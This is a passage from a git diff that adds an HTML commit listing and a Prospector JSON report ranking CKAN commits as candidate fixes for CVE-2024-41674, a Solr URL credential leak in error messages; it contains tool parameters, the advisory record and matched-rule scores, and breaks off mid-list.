    Commit message
    + +
      +
    • +
      Fix types
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/lib/app_globals.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix version handling in docs configuration Remove completely our own... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 3923051e92d692d3e1fe10ee03622dffea6324d2 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Fix version handling in docs configuration Remove completely our own version parsing and rely on the one from packaging. Older versions of packaging used to be more lenient with our release tags ("ckan-x.y.z") but now they will fail. We need to remove the `ckan-` bit before parsing.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + doc/conf.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + remove comma + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 04fc7ea09b54fda37d8364ef5911c03540de47c3 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      remove comma
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/tests/logic/test_validators.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + add tests, changes file + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 55166496cdc65378bf5e7b895e2d6c904526a169 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      add tests, changes file
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/7723.changes + + ckan/tests/logic/action/test_create.py + + ckan/tests/logic/test_validators.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + remove breakpoint + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 58823d943e8b907c6abd639130f7716399818f22 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      remove breakpoint
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/validators.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'dev-v2.11' of github.com:ckan/ckan into dev-v2.11 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 6d42e1c93e4e74813edd411025bdf15e8243bb06 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'dev-v2.11' of github.com:ckan/ckan into dev-v2.11
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json b/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json new file mode 100644 index 000000000..2c5ee6fc3 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json @@ -0,0 +1,2402 @@ +{ + "parameters": { + "vulnerability_id": "CVE-2024-41674", + "repository_url": "https://github.com/apache/lucene-solr", + "version_interval": "2.0:2.10.5", + "use_backend": "always", + "backend_address": "http://backend:8000", + "git_cache": "/data/gitcache", + "limit_candidates": 2000, + "use_llm_repository_url": true, + "enabled_rules": [ + "VULN_ID_IN_MESSAGE", + "XREF_BUG", + "XREF_GH", + "COMMIT_IN_REFERENCE", + "VULN_ID_IN_LINKED_ISSUE", + "CHANGES_RELEVANT_FILES", + "CHANGES_RELEVANT_CODE", + "RELEVANT_WORDS_IN_MESSAGE", + "ADV_KEYWORDS_IN_FILES", + "ADV_KEYWORDS_IN_MSG", + "SEC_KEYWORDS_IN_MESSAGE", + "SEC_KEYWORDS_IN_LINKED_GH", + "SEC_KEYWORDS_IN_LINKED_BUG", + "GITHUB_ISSUE_IN_MESSAGE", + "BUG_IN_MESSAGE", + "COMMIT_HAS_TWINS", + "COMMIT_IS_SECURITY_RELEVANT" + ] + }, + "advisory_record": { + "cve_id": "CVE-2024-41674", + "description": "CKAN is an open-source data management system for powering data hubs and data portals. If there were connection issues with the Solr server, the internal Solr URL (potentially including credentials) could be leaked to package_search calls as part of the returned error message. This has been patched in CKAN 2.10.5 and 2.11.0.", + "reserved_timestamp": 1721316107, + "published_timestamp": 1724250686, + "updated_timestamp": 1724254342, + "repository_url": null, + "references": { + "": 45, + "https://github.com/ckan/ckan/security/advisories/GHSA-2rqw-cfhc-35fh": 2, + "commit::f6b032cd7082d784938165bbd113557639002ca7": 2, + "https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax": 2, + "https://github.com/features/actions": 1, + "https://github.com/features/packages": 1, + "https://github.com/features/security": 1, + "https://github.com/features/codespaces": 1, + "https://github.com/features/copilot": 1, + "https://github.com/features/code-review": 1, + "https://github.com/features/issues": 1, + "https://github.com/features/discussions": 1, + "https://github.com/features": 1, + "https://docs.github.com": 1, + "https://skills.github.com": 1, + "https://github.blog": 1, + "https://github.com/enterprise": 1, + "https://github.com/team": 1, + "https://github.com/enterprise/startups": 1, + "https://github.com/solutions/industries/healthcare": 1, + "https://github.com/solutions/industries/financial-services": 1, + "https://github.com/solutions/industries/manufacturing": 1, + "https://github.com/solutions/ci-cd": 1, + "https://github.com/solutions/devops": 1, + "https://github.com/solutions/devsecops": 1, + "https://resources.github.com/learn/pathways": 1, + "https://resources.github.com": 1, + "https://github.com/customer-stories": 1, + "https://partner.github.com": 1, + "https://github.com/readme": 1, + "https://github.com/topics": 1, + "https://github.com/trending": 1, + "https://github.com/collections": 1, + "https://github.com/enterprise/advanced-security": 1, + "https://github.com/pricing": 1, + "https://github.com": 1, + "https://docs.github.com/site-policy/github-terms/github-terms-of-service": 1, + "https://docs.github.com/site-policy/privacy-policies/github-privacy-statement": 1, + "https://github.com/security": 1, + "https://www.githubstatus.com/": 1, + "https://docs.github.com/": 1, + "https://support.github.com?tags=dotcom-footer": 1 + }, + "affected_products": [ + "Solr", + "URL", + "CKAN", + "ckan" + ], + "versions": { + "version": ">= 2.0, < 2.10.5", + "status": "affected" + }, + "files": [ + "URL", + "package_search", + "open-source", + "CKAN" + ], + "keywords": [ + "connection", + "server", + "message", + "call", + "error", + "power", + "leak", + "issue", + "portal", + "include", + "source", + "solr", + "datum", + "credential", + "management", + "patch", + "return", + "part", + "system", + "ckan" + ], + "files_extension": [], + "has_fixing_commit": true + }, + "commits": [ + { + "commit_id": "f6b032cd7082d784938165bbd113557639002ca7", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724064370, + "hunks": 0, + "message": "Merge commit from fork [2.10] Fix for Solr connection errors leaking details", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "COMMIT_IN_REFERENCE", + "message": "This commit is mentioned 2 times in the references.", + "relevance": 64 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: solr, leak, connection, error", + "relevance": 4 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "5b73f29da75bda0a4426d1ff7ba39491892ba07b", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1700691500, + "hunks": 4, + "message": "ensure consistency by returning email addresses in lowercase from the email_validator", + "changed_files": [ + "ckan/logic/action/create.py", + "ckan/logic/validators.py", + "ckan/tests/logic/test_validators.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: URL", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: return", + "relevance": 4 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "50cb4433508cb63b6e13d1660da1bfe4caa80cfa", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723468158, + "hunks": 1, + "message": "Fix resource proxy download proxy setting Don't pass a dict with None values if not set, otherwise we get an error from urllib3 ``` Max retries exceeded with url: http://maps.nlsc.gov.tw/S_Maps/wmts (Caused by ProxyError('Unable to connect to proxy', NameResolutionError(\": Failed to resolve 'none' ([Errno -3] Temporary failure in name resolution)\"))) ``` (cherry picked from commit c6afef0e16e7ed4bf5eee48e25b1f260459e374c)", + "changed_files": [ + "ckanext/resourceproxy/blueprint.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "5358570d6b11a21b4367a5448d85409a4e9c96ec" + ], + [ + "no-tag", + "c6afef0e16e7ed4bf5eee48e25b1f260459e374c" + ] + ], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source, connection, error", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: source", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "6c40a56477d3cd7a6b62d4bf53cf7cfe0aafb3e1", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724665062, + "hunks": 118, + "message": "feat: upgrade SQLAlchemy to v2", + "changed_files": [ + "ckan/config/environment.py", + "ckan/lib/dictization/__init__.py", + "ckan/lib/dictization/model_dictize.py", + "ckan/logic/__init__.py", + "ckan/logic/action/get.py", + "ckan/logic/action/update.py", + "ckan/logic/validators.py", + "ckan/model/__init__.py", + "ckan/model/api_token.py", + "ckan/model/dashboard.py", + "ckan/model/follower.py", + "ckan/model/group.py", + "ckan/model/meta.py", + "ckan/model/package.py", + "ckan/model/resource_view.py", + "ckan/model/tag.py", + "ckan/model/types.py", + "ckan/model/user.py", + "ckan/types/logic/action_result.py", + "ckan/types/model.py", + "ckan/views/api.py", + "ckanext/activity/logic/action.py", + "ckanext/activity/logic/auth.py", + "ckanext/activity/model/activity.py", + "ckanext/datastore/backend/postgres.py", + "ckanext/stats/stats.py", + "requirements.in" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: package_search", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: source", + "relevance": 4 + } + ] + }, + { + "commit_id": "c4e6b4e2ee645d30d4d18a228c5f90e213dd66c4", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1720448659, + "hunks": 5507, + "message": "[i18n] Pull translations from transifex", + "changed_files": [ + "ckan/i18n/am/LC_MESSAGES/ckan.po", + "ckan/i18n/ar/LC_MESSAGES/ckan.po", + "ckan/i18n/bg/LC_MESSAGES/ckan.po", + "ckan/i18n/bs/LC_MESSAGES/ckan.po", + "ckan/i18n/ca/LC_MESSAGES/ckan.po", + "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", + "ckan/i18n/da_DK/LC_MESSAGES/ckan.po", + "ckan/i18n/de/LC_MESSAGES/ckan.po", + "ckan/i18n/el/LC_MESSAGES/ckan.po", + "ckan/i18n/en_AU/LC_MESSAGES/ckan.po", + "ckan/i18n/en_GB/LC_MESSAGES/ckan.po", + "ckan/i18n/es/LC_MESSAGES/ckan.po", + "ckan/i18n/es_AR/LC_MESSAGES/ckan.po", + "ckan/i18n/eu/LC_MESSAGES/ckan.po", + "ckan/i18n/fa_IR/LC_MESSAGES/ckan.po", + "ckan/i18n/fi/LC_MESSAGES/ckan.po", + "ckan/i18n/fr/LC_MESSAGES/ckan.po", + "ckan/i18n/gl/LC_MESSAGES/ckan.po", + "ckan/i18n/gl_ES/LC_MESSAGES/ckan.po", + "ckan/i18n/he/LC_MESSAGES/ckan.po", + "ckan/i18n/hr/LC_MESSAGES/ckan.po", + "ckan/i18n/hu/LC_MESSAGES/ckan.po", + "ckan/i18n/id/LC_MESSAGES/ckan.po", + "ckan/i18n/is/LC_MESSAGES/ckan.po", + "ckan/i18n/it/LC_MESSAGES/ckan.po", + "ckan/i18n/ja/LC_MESSAGES/ckan.po", + "ckan/i18n/km/LC_MESSAGES/ckan.po", + "ckan/i18n/ko_KR/LC_MESSAGES/ckan.po", + "ckan/i18n/lt/LC_MESSAGES/ckan.po", + "ckan/i18n/lv/LC_MESSAGES/ckan.po", + "ckan/i18n/mk/LC_MESSAGES/ckan.po", + "ckan/i18n/mn_MN/LC_MESSAGES/ckan.po", + "ckan/i18n/my_MM/LC_MESSAGES/ckan.po", + "ckan/i18n/nb_NO/LC_MESSAGES/ckan.po", + "ckan/i18n/ne/LC_MESSAGES/ckan.po", + "ckan/i18n/nl/LC_MESSAGES/ckan.po", + "ckan/i18n/no/LC_MESSAGES/ckan.po", + "ckan/i18n/pl/LC_MESSAGES/ckan.po", + "ckan/i18n/pt_BR/LC_MESSAGES/ckan.po", + "ckan/i18n/pt_PT/LC_MESSAGES/ckan.po", + "ckan/i18n/ro/LC_MESSAGES/ckan.po", + "ckan/i18n/ru/LC_MESSAGES/ckan.po", + "ckan/i18n/sk/LC_MESSAGES/ckan.po", + "ckan/i18n/sl/LC_MESSAGES/ckan.po", + "ckan/i18n/sq/LC_MESSAGES/ckan.po", + "ckan/i18n/sr/LC_MESSAGES/ckan.po", + "ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po", + "ckan/i18n/sv/LC_MESSAGES/ckan.po", + "ckan/i18n/th/LC_MESSAGES/ckan.po", + "ckan/i18n/tr/LC_MESSAGES/ckan.po", + "ckan/i18n/uk_UA/LC_MESSAGES/ckan.po", + "ckan/i18n/vi/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: URL, open-source", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + } + ] + }, + { + "commit_id": "6382ad97f98dbbbbfbaf30b7dab9520ace071131", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1716472914, + "hunks": 31185, + "message": "[i18n] Add new strings from the pot file to po files", + "changed_files": [ + "ckan/i18n/am/LC_MESSAGES/ckan.po", + "ckan/i18n/ar/LC_MESSAGES/ckan.po", + "ckan/i18n/bg/LC_MESSAGES/ckan.po", + "ckan/i18n/bs/LC_MESSAGES/ckan.po", + "ckan/i18n/ca/LC_MESSAGES/ckan.po", + "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", + "ckan/i18n/da_DK/LC_MESSAGES/ckan.po", + "ckan/i18n/de/LC_MESSAGES/ckan.po", + "ckan/i18n/el/LC_MESSAGES/ckan.po", + "ckan/i18n/en_AU/LC_MESSAGES/ckan.po", + "ckan/i18n/en_GB/LC_MESSAGES/ckan.po", + "ckan/i18n/es/LC_MESSAGES/ckan.po", + "ckan/i18n/es_AR/LC_MESSAGES/ckan.po", + "ckan/i18n/eu/LC_MESSAGES/ckan.po", + "ckan/i18n/fa_IR/LC_MESSAGES/ckan.po", + "ckan/i18n/fi/LC_MESSAGES/ckan.po", + "ckan/i18n/fr/LC_MESSAGES/ckan.po", + "ckan/i18n/gl/LC_MESSAGES/ckan.po", + "ckan/i18n/he/LC_MESSAGES/ckan.po", + "ckan/i18n/hr/LC_MESSAGES/ckan.po", + "ckan/i18n/hu/LC_MESSAGES/ckan.po", + "ckan/i18n/id/LC_MESSAGES/ckan.po", + "ckan/i18n/is/LC_MESSAGES/ckan.po", + "ckan/i18n/it/LC_MESSAGES/ckan.po", + "ckan/i18n/ja/LC_MESSAGES/ckan.po", + "ckan/i18n/km/LC_MESSAGES/ckan.po", + "ckan/i18n/ko_KR/LC_MESSAGES/ckan.po", + "ckan/i18n/lt/LC_MESSAGES/ckan.po", + "ckan/i18n/lv/LC_MESSAGES/ckan.po", + "ckan/i18n/mk/LC_MESSAGES/ckan.po", + "ckan/i18n/mn_MN/LC_MESSAGES/ckan.po", + "ckan/i18n/my_MM/LC_MESSAGES/ckan.po", + "ckan/i18n/nb_NO/LC_MESSAGES/ckan.po", + "ckan/i18n/ne/LC_MESSAGES/ckan.po", + "ckan/i18n/nl/LC_MESSAGES/ckan.po", + "ckan/i18n/no/LC_MESSAGES/ckan.po", + "ckan/i18n/pl/LC_MESSAGES/ckan.po", + "ckan/i18n/pt_BR/LC_MESSAGES/ckan.po", + "ckan/i18n/pt_PT/LC_MESSAGES/ckan.po", + "ckan/i18n/ro/LC_MESSAGES/ckan.po", + "ckan/i18n/ru/LC_MESSAGES/ckan.po", + "ckan/i18n/sk/LC_MESSAGES/ckan.po", + "ckan/i18n/sl/LC_MESSAGES/ckan.po", + "ckan/i18n/sq/LC_MESSAGES/ckan.po", + "ckan/i18n/sr/LC_MESSAGES/ckan.po", + "ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po", + "ckan/i18n/sv/LC_MESSAGES/ckan.po", + "ckan/i18n/th/LC_MESSAGES/ckan.po", + "ckan/i18n/tl/LC_MESSAGES/ckan.po", + "ckan/i18n/tr/LC_MESSAGES/ckan.po", + "ckan/i18n/uk/LC_MESSAGES/ckan.po", + "ckan/i18n/uk_UA/LC_MESSAGES/ckan.po", + "ckan/i18n/vi/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: URL, open-source", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + } + ] + }, + { + "commit_id": "5f3317010965b23970249410376564983aaf51a4", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724226389, + "hunks": 971, + "message": "[i18n] Pull translations ahead of 2.10.5", + "changed_files": [ + "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", + "ckan/i18n/de/LC_MESSAGES/ckan.po", + "ckan/i18n/gl/LC_MESSAGES/ckan.po", + "ckan/i18n/gl_ES/LC_MESSAGES/ckan.po", + "ckan/i18n/he/LC_MESSAGES/ckan.po", + "ckan/i18n/ja/LC_MESSAGES/ckan.po", + "ckan/i18n/lv/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: URL, open-source", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + } + ] + }, + { + "commit_id": "3cb5af251b5bfa0a7528d7ca3bea354ee1b7d0b3", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723505166, + "hunks": 7, + "message": "[#5713] copy resources tests", + "changed_files": [ + "ckan/logic/action/update.py", + "ckan/tests/logic/action/test_create.py", + "ckan/tests/logic/action/test_delete.py", + "ckan/tests/logic/action/test_patch.py", + "ckan/tests/logic/action/test_update.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "5713": "update resources faster with package_update #8360" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: patch", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 5713", + "relevance": 2 + } + ] + }, + { + "commit_id": "c73f26064ab3a54422845fd8e2437f424b7f7cc8", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1716472390, + "hunks": 503, + "message": "[i18n] Update pot file for 2.11", + "changed_files": [ + "ckan/i18n/ckan.pot" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: URL", + "relevance": 8 + } + ] + }, + { + "commit_id": "38c89aae62eb5f8884169eca5e53ba75a95223d4", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1704839317, + "hunks": 6, + "message": "add email_is_unique validator", + "changed_files": [ + "ckan/logic/schema.py", + "ckan/logic/validators.py", + "ckan/tests/logic/test_validators.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: URL", + "relevance": 8 + } + ] + }, + { + "commit_id": "4cccbccb57e2fca1eddae311b394049e64ab360d", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724073465, + "hunks": 68, + "message": "[i18n] Pull translations", + "changed_files": [ + "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", + "ckan/i18n/mk/LC_MESSAGES/ckan.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "8482508735dec48a6a9782a1eee7e60eed84ba1d" + ] + ], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "72c9ba39b9b36cf8d91b776a77a8657932aadd04", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724226482, + "hunks": 0, + "message": "[i18n] Compile mo files", + "changed_files": [ + "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo", + "ckan/i18n/de/LC_MESSAGES/ckan.mo", + "ckan/i18n/gl/LC_MESSAGES/ckan.mo", + "ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo", + "ckan/i18n/ja/LC_MESSAGES/ckan.mo", + "ckan/i18n/lv/LC_MESSAGES/ckan.mo", + "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo", + "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "98b0523914ff1d2ee83c95eb56a118ce9de301fa" + ] + ], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "622ae3e0f05b24ea76c96fd01853fb92bb70ef2b", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724122896, + "hunks": 11, + "message": "[#8395] various test fixes", + "changed_files": [ + "ckan/logic/action/delete.py", + "ckan/logic/action/get.py", + "ckan/tests/lib/search/test_search.py", + "ckan/tests/logic/action/test_create.py", + "ckan/tests/logic/action/test_update.py", + "ckanext/example_iresourcecontroller/tests/test_example_iresourcecontroller.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: source", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "756f133a119635dfcaf6e09787eaf8e721efaf35", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724096071, + "hunks": 14, + "message": "[#8395] datastore: use resource_patch for active flag", + "changed_files": [ + "ckan/tests/lib/search/test_query.py", + "ckan/tests/lib/search/test_search.py", + "ckanext/activity/tests/test_changes.py", + "ckanext/datastore/logic/action.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source, patch", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "a424975a72b63c15d88af04916afb6f36c763504", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723753143, + "hunks": 13, + "message": "[#8395] search-index rebuild error code, simplify", + "changed_files": [ + "ckan/cli/search_index.py", + "ckan/lib/search/__init__.py", + "ckan/logic/__init__.py", + "ckan/tests/cli/test_search_index.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: error", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "307041f218eb6d823c356112942e22b5a7b8fa2f", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723751786, + "hunks": 3, + "message": "[#8395] resource_create defer_commit requires reindex", + "changed_files": [ + "ckan/logic/action/create.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "e9353217db787e1e986c542229664609aee86e36", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723745630, + "hunks": 0, + "message": "Merge pull request #8400 from Roconda/backport-500-instead-of-405 [Backport dev-v2.10] App returns 500 error instead of 405", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8400": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: return, error", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8400", + "relevance": 2 + } + ] + }, + { + "commit_id": "b70b035ba75fc9a0dc7ee01f3033f1803bc51fd3", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723639051, + "hunks": 0, + "message": "Merge pull request #8394 from ckan/backport-8392-to-dev-v2.10 [Backport dev-v2.10] Fix resource proxy download proxy setting", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8394": "Fix resource proxy download proxy setting #8392" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8394", + "relevance": 2 + } + ] + }, + { + "commit_id": "17f5c3bc6aadd680f4cc41e199c705ab8fe5d587", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723577097, + "hunks": 35, + "message": "[#8395] simpler package indexing, no system plugins", + "changed_files": [ + "changes/8395.feature", + "ckan/config/environment.py", + "ckan/lib/search/__init__.py", + "ckan/logic/__init__.py", + "ckan/logic/action/create.py", + "ckan/logic/action/delete.py", + "ckan/logic/action/update.py", + 